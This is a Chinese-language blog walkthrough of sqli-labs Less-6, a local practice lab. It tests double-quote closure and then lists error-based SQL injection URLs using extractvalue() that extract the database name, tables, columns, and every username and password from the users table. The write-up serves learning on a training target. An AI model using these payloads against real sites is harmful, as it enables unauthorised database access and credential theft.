0
点赞
收藏
分享

微信扫一扫

从零记录sqli-labs学习过程 sqli-labs Less-6

爱我中华8898 2022-03-30 阅读 70

sqli-labs Less-6

第六关和第五关都是报错注入,区别在于闭合类型

在这里插入图片描述

测试闭合类型:
http://localhost/sqli-labs/Less-6/index.php?id=1

http://localhost/sqli-labs/Less-6/index.php?id=1'

http://localhost/sqli-labs/Less-6/index.php?id=1"
得出双引号闭合

在这里插入图片描述

接下来的步骤就和第五关一样了,详细贴图可以参考第五关博客

从零记录sqli-labs学习过程 sqli-labs Less-5

判断字段数:
http://localhost/sqli-labs/Less-6/index.php?id=1" order by 3 --+

http://localhost/sqli-labs/Less-6/index.php?id=1" order by 4 --+

获取数据库名称:
http://localhost/sqli-labs/Less-6/index.php?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

获取数据库字段:
http://localhost/sqli-labs/Less-6/index.php?id=1"  and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+

获取users表字段:
http://localhost/sqli-labs/Less-6/index.php?id=1"  and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+

获取username:
http://localhost/sqli-labs/Less-6/index.php?id=1"  and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e))--+

获取password:
http://localhost/sqli-labs/Less-6/index.php?id=1"  and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))--+
举报

相关推荐

Sqli-Labs

sqli-labs(Less-3)

SQLi-LABS Less-25&&Less-25a

sqli-labs Less-9 时间盲注

sqli-labs第四关

SQLi-LABS Less-27到Less-28a

0 条评论